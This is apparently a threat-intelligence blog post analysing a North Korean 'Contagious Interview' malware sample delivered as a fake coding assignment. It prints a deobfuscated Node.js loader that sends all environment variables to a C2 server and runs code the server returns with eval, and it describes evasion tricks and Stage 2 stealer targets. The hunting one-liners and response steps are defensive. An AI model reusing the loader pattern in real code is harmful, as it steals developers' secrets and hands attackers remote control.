Lazarus "Contagious Interview": How a Fake Job Offer Tries to Empty Your Dev Machine

A real North-Korean Lazarus sample, delivered as a "Web3 poker" interview assignment. I reverse-engineered it, deobfuscated the loader, and open-sourced the whole dossier, IOCs, YARA/Sigma/Suricata rules included.

Imagine you're a developer looking for work. A recruiter writes to you on LinkedIn or Telegram. The role looks real, the pay is good. As part of the "interview" they ask you to do a small take-home task: clone this repo, run it locally, fix a bug, send it back. Totally normal in our industry.

Except the repo is malware. The moment you run node server.js, your development machine, the one with all your secrets, SSH keys, cloud tokens and crypto wallets, starts beaconing to a server in North Korea's orbit.

This is Contagious Interview, a campaign attributed to the Lazarus Group (DPRK), also tracked as DeceptiveDevelopment, DEV#POPPER and Famous Chollima. I got my hands on a real sample, took it apart in an isolated VM, and published a full bilingual dossier on GitHub. This article is the story of what's inside.

⚠️ Everything below was analyzed in an isolated, revertible VM with no credentials. The code in the original repo is live malware: never run an interview "assignment" on a real machine. The defanged sample, the IOCs and the detection rules are all in the open-source dossier linked at the end.

The lure: "ChainFlip Labs Platform"

The bait is a project called ChainFlip Labs Platform, presented as a fancy multi-purpose Web3 app, a poker/gaming platform with an integrated crypto wallet. The README brags about a modern stack: Solana, Next.js 16, React 19, TypeScript.

The actual code? A plain Create-React-App frontend, an Express backend, and ethers/Polygon. None of the Solana / Next.js stuff exists. This gap between what the README claims and what the code actually is turns out to be a classic tell of a hastily assembled lure. The whole React client, the game logic, the Mongo models and the sockets are legitimate facade code: they exist only to make the assignment believable and to get you to start the server.

Because once the server starts, the trap springs.

The attack chain: two stages

STAGE 1 (in the repo)            STAGE 2 (delivered via eval)
routes/api/auth.js     ──►       browser + wallet stealer
profiles the host                passwords, cookies/sessions,
steals process.env               MetaMask/Phantom, keychain
beacons every 5s to C2 ──────►   eval(message) from the C2

Stage 1 lives in the repository and is what you can actually see. Stage 2 is never stored on disk. It's downloaded from the command-and-control server at runtime and executed in memory. Let's look at both.

Stage 1: the loader hidden in routes/api/auth.js

The payload is appended to the bottom of an ordinary-looking Express routing file. Lines 1–16 are perfectly legitimate (a login handler with validation). Then, at line 17, after hundreds of whitespace characters that push the code far off-screen, sits an obfuscated blob (obfuscator.io style: _0x… variables, a rotated string array, hexadecimal indices). Right after it, the innocent module.exports = router;.

router.post('/', [...], login);
                              ⟵ hundreds of spaces ⟶   (function(_0x481bac,_0xd92d3e){…MALWARE…})(…);
module.exports = router;

That forced indentation is an anti-review trick: in a Git diff or an editor without word-wrap, the line looks empty. Your eyes slide right past it.

Here's the readable reconstruction of what that blob actually does:

const os = require('os');
let sysId = 0;

// 1) Profile the victim
function getSystemInfo() {
  return {
    hostname: os.hostname(),
    macs: [ /* MAC of the first non-internal IPv4 interface */ ],
    os: `${os.type()} ${os.release()} (${os.platform()})`,
  };
}

// 2) Beacon to the C2 + run the second stage
async function sendRequest(sysInfo) {
  try {
    const params = new URLSearchParams({
      sysInfo:     JSON.stringify(sysInfo),
      processInfo: JSON.stringify(process.env),   // ⚠️ EVERY environment variable
      tid:         'bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=', // base64
      sysId:       sysId,                          // victim id assigned by the C2
    });

    // C2 URL kept in base64 to hide it
    const url = Buffer.from(
      'aHR0cDovLzIxNi4yNTAuMjUxLjE4NzoxMjI0L2FwaS9jaGVja1N0YXR1cw==',
      'base64').toString('utf8');  // → hxxp://216[.]250[.]251[.]187:1224/api/checkStatus

    const res = await fetch(url + '?' + params);
    const { status, message, sysId: newId } = await res.json();

    if (status === 'error') {              // ⚠️ trigger keyword is "error" (counter-intuitive)
      try { eval(message); } catch (e) {}   // ⚠️⚠️ RCE: runs arbitrary code from the C2
    }
    if (newId) sysId = newId;
  } catch (e) { console.error(e); }
}

// 3) Fire immediately + repeat every 5 seconds
try {
  const s = getSystemInfo();
  sendRequest(s);
  setInterval(() => sendRequest(s), 5000);
} catch (e) { console.error(e); process.exit(1); }

Three things make this nasty:

It runs at startup, not on login. The blob is top-level module code, so it executes the moment the router is require()d, i.e. when you run node server.js. Nobody needs to hit the login endpoint. Starting the app once is enough.

It steals your entire process.env. On a dev machine that typically means JWT_SECRET, MONGO_URI (database credentials), API tokens, AWS/GCP/Azure keys, CI/CD secrets, all sent in cleartext over unencrypted HTTP.

It's a remote-controlled eval. When the C2 replies with status === 'error' (yes, "error" is the success trigger, a small misdirection), the loader runs eval(message). That's arbitrary code execution, refreshed on every beacon, every 5 seconds.

And there's a chilling little detail. That tid parameter, the operator's campaign identifier, decodes from base64 to:

now it time to get everything

Stage 2: the info-stealer you'll never find in the repo

This is the part that's not in the repository, and that's by design. The second stage arrives in the message field of the C2's JSON response and runs straight through eval(), in memory, never written to disk.

The consequences are ugly:

  • arbitrary code execution, controlled by the operator in real time;
  • a payload that can be different per victim and updated on every 5-second beacon;
  • no on-disk artifact, so static antivirus has almost nothing to grab onto. You need behavioral and network detection.

Based on the publicly documented infections of this campaign (the InvisibleFerret family), the second stage typically goes after:

Browser data across Chromium browsers (Chrome, Brave, Edge, Opera): saved passwords (Login Data), session cookies, which let an attacker hijack already-logged-in accounts and bypass MFA entirely, autofill/card data, and the AES key from Local State needed to decrypt all of it.

Crypto wallets: browser extensions like MetaMask and Phantom, plus local keystore files.

Credentials and secrets: the system keychain/keyring, config files, SSH keys, cloud and CI tokens.

Persistence and later stages: some variants pull down extra tooling (a Python keylogger, a RAT) to keep long-term access.

In short: Stage 1 gets a foothold and steals your environment secrets; Stage 2 drains your browsers and wallets.

Why it evades so well

Put the techniques together and you understand why this works on smart people:

  • obfuscator.io obfuscation, the string array is rotated at runtime until a checksum matches;
  • the C2 URL and the campaign id are hidden in base64;
  • the payload is pushed off-screen by hundreds of spaces;
  • the real damage (Stage 2) lives only in memory, so there's little for a static scanner to find;
  • the surrounding project is a plausible, working app that begs to be run "just to check it works".

How to detect it

I open-sourced the full detection pack in the dossier (rules/ folder). The short version:

YARA flags the static loader in JS source by combining the base64 C2 URL/tid, the processInfo + eval( pattern, the cleartext C2 IP/port, and the _0x obfuscation marker. Good for scanning repos, npm packages, attachments and filesystem snapshots.

Sigma works on behavior: a node process opening outbound connections to 216.250.251.187 or port 1224 (map it to Sysmon EventID 3 or your EDR telemetry).

Suricata/Snort works at the network level: an HTTP request to the C2 with URI /api/checkStatus carrying a processInfo= parameter (that's your process.env leaving the building).

And the practical part, hunting one-liners you can run right now on a suspicious "assignment":

# Grep your repos / npm dependencies for the IOCs
grep -rIlE "processInfo|checkStatus|216\.250\.251\.187|aHR0cDovLzIxNi4yNTAuMjUx" .

# Generic obfuscated loader: eval over a response + the _0x marker
grep -rIlE "eval\(" --include='*.js' . | xargs -r grep -lE "_0x[0-9a-f]{4,}"

# Spot abnormally long lines (the off-screen indentation trick)
for f in $(git ls-files '*.js'); do awk -v F="$f" 'length>1000{print F":"NR" ("length")"}' "$f"; done

During code review more generally: turn on word-wrap, and be suspicious of eval, Function(, base64 blobs, _0x…, child_process and require('os') next to fetch/http, especially at the bottom of files.

If you already ran it

Treat the machine as fully compromised. Remote eval means you have zero guarantees about what executed. In order:

  1. Isolate the machine from the network immediately.
  2. Block 216.250.251.187 and port 1224 at the firewall/EDR.
  3. Rotate every credential that was in the environment: DB passwords, MONGO_URI, JWT_SECRET, API tokens, AWS/GCP/Azure keys, CI/CD tokens, SSH keys, Git PATs.
  4. Browser: change your account passwords and revoke all sessions (global logout). Stolen cookies bypass MFA for as long as the sessions stay valid.
  5. Crypto wallets: consider the seeds compromised. Generate new wallets on a clean machine and move the funds. Never reuse the seeds.
  6. Persistence: check cron jobs, services, startup items, stray node/python processes, recently installed npm/pip packages.
  7. Reinstall the OS from scratch whenever you can.

How to never get caught by this

The prevention is simple and it's worth internalizing as a habit:

  • Never run an unverified interview coding assignment on your personal or work machine. Use a disposable VM with no credentials, on a monitored network.
  • Be wary of any repo that pushes you to start a server/app "to see if it works".
  • Keep crypto wallets on a device separate from your dev machine.
  • Scan repos and dependencies with detection rules before running anything.

The genius of Contagious Interview isn't the code. The loader is a fairly standard obfuscated beacon. The genius is the social engineering: it targets developers' professional ambition and our normalized habit of cloning-and-running strangers' code. The defense is mostly a mindset: a coding assignment is untrusted input, and untrusted input belongs in a sandbox.

The full open-source dossier

I published everything, the campaign overview, the deobfuscated loader, the Stage 2 analysis, machine-readable IOCs (CSV + STIX 2.1), a network blocklist, the YARA/Sigma/Suricata rules, and a defanged sample, as a bilingual (EN/IT) threat-intel dossier on GitHub, for defensive and educational use only:

🔗 github.com/francesco-oghabi/lazarus-contagious-interview

If you work with Node.js, do security, or simply receive a lot of recruiter messages, have a look, and share it with the developers around you. The best detection rule is a team that knows the trick.

Stay curious. Just don't run it on your laptop.